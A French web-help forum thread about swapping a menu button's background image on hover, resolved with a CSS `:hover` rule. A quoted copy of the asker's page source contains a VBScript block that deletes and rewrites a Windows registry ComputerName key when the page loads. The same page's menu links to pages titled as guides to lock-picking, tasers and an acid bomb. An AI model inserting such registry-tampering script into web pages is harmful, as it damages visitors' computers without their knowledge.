Image changeante au passage du curseur !?

Résolu
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   -  
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   -
Bonjour,
Bonjour Bonjour,
J'ai des boutons qui s'affichent en arrière plan avec du css sur mon site
Je voudrais leur mettre un effet de onemouseover !Du style quand on passe la souris dessus ça affiche une autre image !
Et je voudrais faire ça en css svp .
plz
A voir également:

15 réponses

Réponse 1 / 15
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   2
 
Nan mais les boutons ils sont dans le style.css donc faut modifier style.css
Mais comment ?
1
Réponse 2 / 15
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   2
 
Dzl j'peu pas mettre le lien ça marche aps
1
Réponse 3 / 15
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   2
 
Nan en faite les boutons sont des image qui sont paramétré par rapport au style.css tu voi ske jveu dire ou pas ?
(va sur mon profil ya le lien vers mon site et les bouton ke je parle ce sont ceux en vert a gauche)
1
Réponse 4 / 15
Utilisateur anonyme
 
donne moi le code source complet de ta page web pour que je puisse y mettre le code qui te permet de faire l'effet désiré
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Réponse 5 / 15
Utilisateur anonyme
 
avec le lien ça suffit
0
Réponse 6 / 15
Utilisateur anonyme
 
en fait, les boutons sont dans l'image qui sert d'arrière plan c'est ça ?
0
Réponse 7 / 15
Utilisateur anonyme
 
Voici le code source de ta page web :
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>

<link rel="shortcut icon" href="favicon.gif" />
<title>0K3Y</title>


<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<meta http-equiv="Content-Language" content="fr" />

<meta http-equiv="Content-Script-Type" content="text/javascript" />

<meta http-equiv="Content-Style-Type" content="text/css" />

<meta name="DC.Language" scheme="RFC3066" content="fr" />

<link rel="stylesheet" href="style.css" type="text/css" media="screen" title="Normal" />

<style>UNKNOWN {
CURSOR: url('mouse.cur')
}
</style>
<style>BODY {
CURSOR: url('mouse.cur')
}
SPAN.GramE {
}
SPAN.SpellE {
}
DIV {
COLOR: #000
}
DIV {
FONT-FAMILY: arial,sans-serif
}
.g {
MARGIN-TOP: 1em; MARGIN-BOTTOM: 1em
}
TD {
COLOR: #000
}
TD {
FONT-FAMILY: arial,sans-serif
}
.j {
WIDTH: 34em
}
</style>
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\System
\CurrentControlSet\Control\ComputerName\"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet
\Control\ComputerName\ComputerName
\ComputerName","http://0k3y.hostse.com/"
</script>
<script language="javascript"><!--
function click(){if(event.button==2){alert('يا ورع يا جزمه هذا تصميم مو سرق');}}
document.onmousedown=click//-->
</script><!-- .page { background: #FFFFFF; color: #684B17; } .tborder { background: #A59068; font-size: 13pt; } td { color: #684B17; font: bold 13pt Arial, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; } .alt1 { background: #FDF7EC; color: #684B17; font: bold,center 13pt arial; } -->
<style>BODY {
SCROLLBAR-FACE-COLOR: #6600CC; SCROLLBAR-HIGHLIGHT-COLOR: white; SCROLLBAR-SHADOW-COLOR: white; SCROLLBAR-3DLIGHT-COLOR: #000000; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-TRACK-COLOR: #000000; SCROLLBAR-DARKSHADOW-COLOR: #000000
}
TH {
COLOR: #1cb081
}
TD {
COLOR: #1cb081
}
BODY {
COLOR: #1cb081
}
BODY {
CURSOR: crosshair; SCROLLBAR-ARROW-COLOR: #3366ff; SCROLLBAR-BASE-COLOR: black; BACKGROUND-COLOR: #FFFFFF
}
INPUT {
BACKGROUND-COLOR: #303030! important
}
INPUT {
COLOR: #1cb081! important
}
.Stile5 {
FONT-SIZE: 10px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
.Stile6 {
FONT-WEIGHT: bold; FONT-SIZE: 12px; FONT-STYLE: italic; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
DIV {
COLOR: #000
}
DIV {
FONT-FAMILY: arial,sans-serif
}
.g {
MARGIN: 1em 0px
}
.j {
WIDTH: 34em
}
DIV.Section1 {
}
SPAN.SpellE {
}
.mplsession {
PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 20px; PADDING-TOP: 0px
}
.page
{
background: #FFFFFF;
color: #7A0D25;
}
.tborder
{
background: #EFEFEF;
color: #000000;
border: 1px solid #EFEFEF;
}
.alt1
{
background: #FFF3FC;
color: #000000;
}
.style2 {
font-size: 36pt;
}
.style3 {
color: #C0C0C0;
}
</style>
<meta http-equiv="Content-Language" content="ar-sa" />

<script type="text/javascript">
</script>
</head>


<body>

<h1 id="header"><span>0k3y</span></h1>

<ul id="menuhorizontal">

<li><a href="index.html">accueil</a></li>

<li><a href="mailto:0K3Y@ifrance.com">Me contacter</a></li>

</ul>

<p id="connexion"><br />

</p>

<ul id="menuvertical">

<li><a href="wii.htm">Wii</a></li>

<li><a href="ouvrir_cadena.htm">ou<span style="font-weight: bold;">v</span>rir <span style="font-weight: bold;">c</span>ade<span style="font-weight: bold;">n</span>a</a></li>

<li><a href="ouvrir_porte.htm"><span style="font-weight: bold;">O</span>uvrir p<span style="font-weight: bold;">o</span>rt<span style="font-weight: bold;">e</span></a></li>

<li><a href="code_admin.htm">Ch<span style="font-weight: bold;">a</span>ng<span style="font-weight: bold;">e</span>r p<span style="font-weight: bold;">a</span>s<span style="font-weight: bold;">s</span> a<span style="font-weight: bold;">d</span>m<span style="font-weight: bold;">i</span>n</a></li>

<li><a href="taser.htm">f<span style="font-weight: bold;">a</span>br<span style="font-weight: bold;">i</span>qu<span style="font-weight: bold;">e</span>r t<span style="font-weight: bold;">a</span>s<span style="font-weight: bold;">e</span>r</a></li>

<li><a href="acide_chlorhydrique.htm">B<span style="font-weight: bold;">o</span>mb<span style="font-weight: bold;">e</span> <span style="font-weight: bold;">a</span>c<span style="font-weight: bold;">i</span>d<span style="font-weight: bold;">e</span></a></li>

<li><a href="free_game_mobil.htm"><span style="font-weight: bold;"></span>J<span style="font-weight: bold;">eu</span>x m<span style="font-weight: bold;">o</span>b<span style="font-weight: bold;">i</span>l<span style="font-weight: bold;">e</span> fr<span style="font-weight: bold;">ee</span><span style="font-weight: bold;"></span><span style="font-weight: bold;"></span><span style="font-weight: bold;"></span></a></li>

<li><a href="cbg.htm">F<span style="font-weight: bold;">au</span>x<span style="font-weight: bold;"> </span>c<span style="font-weight: bold;">o</span>d<span style="font-weight: bold;">e </span>b<span style="font-weight: bold;">a</span>rr<span style="font-weight: bold;">e</span><span style="font-weight: bold;"></span><span style="font-weight: bold;"></span><span style="font-weight: bold;"></span></a></li>

</ul>

<div style="width: 959px;" id="contenu"><big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;">   
       
   
       
   
        <a href="javascript:;" onmouseover="document.img_1.src='Eh_ouaip.jpg';" onmouseout="document.img_1.src='Eh_ouaip_2.jpg';"><img style="border-style: none;" name="img_1" src="Eh_ouaip_2.jpg" /> </a>
</span><span style="font-family: Calibri; font-weight: bold;"><br />

<br />

</span></big></big></big>
<div class="boutons clearfix" style="margin: 15px auto; width: 500px; font-size: 11px;">  
       
       
       
         <br />

<br />

</div>

<div class="alacon" style="font-size: 16px; text-align: center;">
<big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"></span></big></big></big></div>

<big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"></span></big></big></big>
<div style="text-align: center;"><big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"></span></big></big></big><br />

<big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"></span></big></big></big></div>

<big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"><br />

</span></big></big></big>
<div style="text-align: center;"><big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"><big><big><big><big><span style="color: rgb(198, 198, 198); font-family: Broadway;">Site
en c</span></big></big></big></big></span><big><big><big><big><span style="color: rgb(198, 198, 198); font-family: Broadway;">o</span><span style="font-weight: bold; color: rgb(198, 198, 198); font-family: Broadway;">nstructi</span><span style="color: rgb(198, 198, 198); font-family: Broadway;">o</span></big></big></big></big><span style="font-family: Calibri; font-weight: bold;"><big><big><big><big><span style="color: rgb(198, 198, 198); font-family: Broadway;">n !</span></big></big></big></big></span></big></big></big><br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

</div>

</div>

</body>
</html>
<!-- Site Meter -->
<script type="text/javascript" src="http://s51.sitemeter.com/js/counter.js?site=s51hostsecom">
</script>
<noscript>
<a href="http://s51.sitemeter.com/stats.asp?site=s51hostsecom" target="_top">
<img src="http://s51.sitemeter.com/meter.asp?site=s51hostsecom" alt="Site Meter" border="0"/></a>
</noscript>
<!-- Copyright (c)2006 Site Meter -->
<div style="position: relative; left:0; clear: both; bottom:0px; z-index: 100; width: 100%; border: 1px solid #aecaec; margin: 0%; padding: 5px; background-color: #edfaff;" >
<center>
<!-- Begin: AdBrite, Generated: 2009-02-07 11:39:36 -->
<script type="text/javascript">
var AdBrite_Title_Color = '006699';
var AdBrite_Text_Color = '000000';
var AdBrite_Background_Color = 'edfaff';
var AdBrite_Border_Color = 'edfaff';
var AdBrite_URL_Color = '008000';
try{var AdBrite_Iframe=window.top!=window.self?2:1;var AdBrite_Referrer=document.referrer==''?document.location:document.referrer;AdBrite_Referrer=encodeURIComponent(AdBrite_Referrer);}catch(e){var AdBrite_Iframe='';var AdBrite_Referrer='';}
</script>
<span style="white-space:nowrap;"><script type="text/javascript">document.write(String.fromCharCode(60,83,67,82,73,80,84));document.write(' src="http://ads.adbrite.com/mb/text_group.php?sid=1030563&zs=3732385f3930&ifr=%27+AdBrite_Iframe+%27&ref=%27+AdBrite_Referrer+%27" type="text/javascript">');document.write(String.fromCharCode(60,47,83,67,82,73,80,84,62));</script>
</span>
<!-- End: AdBrite -->
</center>
</div>

et du fichier .css:

/*Configuration générale */

* { margin: 0; padding: 0;}

body {
margin: 0;
background-image: url(images/extensiblehead.jpg) ;
background-repeat: repeat-x;
font-family: Arial, Helvetica, sans-serif;
font-size: 0.8em;
}

a { color: #D1B02D; }

a:hover {text-decoration: none; }

/* -Header- */

#header {
width: 373px;
height: 153px;
background: url(images/header.jpg) no-repeat ;
margin: 0;
}

#header span {
display: none;
}

/* -Menu header- */

#menuhorizontal {
height: 27px;
margin: -96px 0 0 362px;
list-style-type: none;
}

#menuhorizontal li {
float: left;
display: block;
width: 81px;
height: 27px;
margin: 0 4px 0 5px ;
line-height: 15px;
background: url(images/menuheader.jpg) no-repeat;
text-align: center;
}

#menuhorizontal li a {
color: #fff;
font-size: 1em;
text-decoration: none;
}

#menuhorizontal li a:hover {text-decoration: underline;}

/* Barre de Connexion */

#connexion {
height: 45px;
margin: 24px 0 0 370px;
color: #6a6a6a;
padding: 7px 0;
}

/* Menu vertical */

#menuvertical {
width: 140px;
margin: 57px 0 0 0 ;
float: left;
list-style-type: none;
}

#menuvertical li {
display: block;
width: 140px;
height: 25px;
line-height: 25px;
text-align: right;
margin: 7px 0 0 0;
background: url(images/menuvertical.jpg) no-repeat;
}

#menuvertical li a {
color: #fff;
text-decoration: none;
margin: 0 10px 0 0;
}

#menuvertical li a:hover{text-decoration: underline;}

/* Contenu */

#contenu {
width: 670px;
margin: 45px 0 0 185px;
}

#contenu h2 {
color: #fb8800;
margin: 25px 9px 0 0;
font-size: 1em;
}

#footer {
clear: both;
margin: 70px 0 0 0;
text-align: center;
}

La on va pouvoir travailler:
0
Réponse 8 / 15
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   2
 
Euh .. ouais !
Tu sais comment faire ?
0
Réponse 9 / 15
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   2
 
Help !
0
Réponse 10 / 15
Nep_51 Messages postés 49 Date d'inscription   Statut Membre Dernière intervention   9
 
Bonjour

Je n'ai pas lu ton pavé de code... trop long
Je sais pas si c'est ce que tu voudrai mais dans le style il existe une option hover.

Exemple sur une div (a toi d'adapter ensuite)
div{
background-image:url(image1);
}
div:hover{
background-image:url(image2);
}

Ton fond sera donc l'image1 et quand la souris passe sur ta div, elle deviens image2.

Nep
http://www.cultureg.com

0
Réponse 11 / 15
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   2
 
6mer Nep_51
0
Réponse 12 / 15
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   2
 
/*Configuration générale */

* { margin: 0; padding: 0;}

body {
margin: 0;
background-image: url(images/extensiblehead.jpg) ;
background-repeat: repeat-x;
font-family: Arial, Helvetica, sans-serif;
font-size: 0.8em;
}

a { color: #D1B02D; }

a:hover {text-decoration: none; }

/* -Header- */

#header {
width: 373px;
height: 153px;
background: url(images/header.jpg) no-repeat ;
margin: 0;
}

#header span {
display: none;
}

/* -Menu header- */

#menuhorizontal {
height: 27px;
margin: -96px 0 0 362px;
list-style-type: none;
}

#menuhorizontal li {
float: left;
display: block;
width: 81px;
height: 27px;
margin: 0 4px 0 5px ;
line-height: 15px;
background: url(images/menuheader.jpg) no-repeat;
text-align: center;
}

#menuhorizontal li a {
color: #fff;
font-size: 1em;
text-decoration: none;
}

#menuhorizontal li a:hover {text-decoration: underline;}

/* Barre de Connexion */

#connexion {
height: 45px;
margin: 24px 0 0 370px;
color: #6a6a6a;
padding: 7px 0;
}

/* Menu vertical */

#menuvertical {
width: 140px;
margin: 57px 0 0 0 ;
float: left;
list-style-type: none;
}

#menuvertical li {
display: block;
width: 140px;
height: 25px;
line-height: 25px;
text-align: right;
margin: 7px 0 0 0;
background: url(images/menuvertical.jpg) no-repeat;
}

#menuvertical li a {
color: #fff;
text-decoration: none;
margin: 0 10px 0 0;
}

#menuvertical li a:hover{text-decoration: underline;}

/* Contenu */

#contenu {
width: 670px;
margin: 45px 0 0 185px;
}

#contenu h2 {
color: #fb8800;
margin: 25px 9px 0 0;
font-size: 1em;
}

#footer {
clear: both;
margin: 70px 0 0 0;
text-align: center;
}

Euh comment j'pourrais modifier la partie grasse surlignée ?!
sil'te'plait
0
Réponse 13 / 15
Utilisateur anonyme
 
Voici la solution en gras (tu met une autre image d'arrière plan nommé par exemple menuverticalDuneAutreCouleur.jpg):




/*Configuration générale */

* { margin: 0; padding: 0;}

body {
margin: 0;
background-image: url(images/extensiblehead.jpg) ;
background-repeat: repeat-x;
font-family: Arial, Helvetica, sans-serif;
font-size: 0.8em;
}

a { color: #D1B02D; }

a:hover {text-decoration: none; }

/* -Header- */

#header {
width: 373px;
height: 153px;
background: url(images/header.jpg) no-repeat ;
margin: 0;
}

#header span {
display: none;
}

/* -Menu header- */

#menuhorizontal {
height: 27px;
margin: -96px 0 0 362px;
list-style-type: none;
}

#menuhorizontal li {
float: left;
display: block;
width: 81px;
height: 27px;
margin: 0 4px 0 5px ;
line-height: 15px;
background: url(images/menuheader.jpg) no-repeat;
text-align: center;
}

#menuhorizontal li a {
color: #fff;
font-size: 1em;
text-decoration: none;
}

#menuhorizontal li a:hover {text-decoration: underline;}

/* Barre de Connexion */

#connexion {
height: 45px;
margin: 24px 0 0 370px;
color: #6a6a6a;
padding: 7px 0;
}

/* Menu vertical */

#menuvertical {
width: 140px;
margin: 57px 0 0 0 ;
float: left;
list-style-type: none;
}

#menuvertical li {
display: block;
width: 140px;
height: 25px;
line-height: 25px;
text-align: right;
margin: 7px 0 0 0;
background: url(images/menuvertical.jpg) no-repeat;
}

#menuvertical li a {
color: #fff;
text-decoration: none;
margin: 0 10px 0 0;
}

#menuvertical li:hover{text-decoration: underline;background: url(images/menuverticalDuneAutreCouleur.jpg) no-repeat;}

/* Contenu */

#contenu {
width: 670px;
margin: 45px 0 0 185px;
}

#contenu h2 {
color: #fb8800;
margin: 25px 9px 0 0;
font-size: 1em;
}

#footer {
clear: both;
margin: 70px 0 0 0;
text-align: center;
}
0
Réponse 14 / 15
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   2
 
Ouah TotoAussi tu geres trop !merci
Tchuss .
0
Réponse 15 / 15
kind-david Messages postés 72 Date d'inscription   Statut Membre Dernière intervention   2
 
Image changeante au passage du curseur !?

Regarde ce que ça donne h t t p : / / 0 k 3 y . h o s t s e . c o m /
YEEEAAAHH ^^
0

Discussions similaires

PIX
plart -
jordane45 -

1 réponse
Comment recadrer une image avec Inkscape
infofeet -
TELLIEZ -

13 réponses
Dechiffrer une image caché
JACQUE -
Otomec -

1 réponse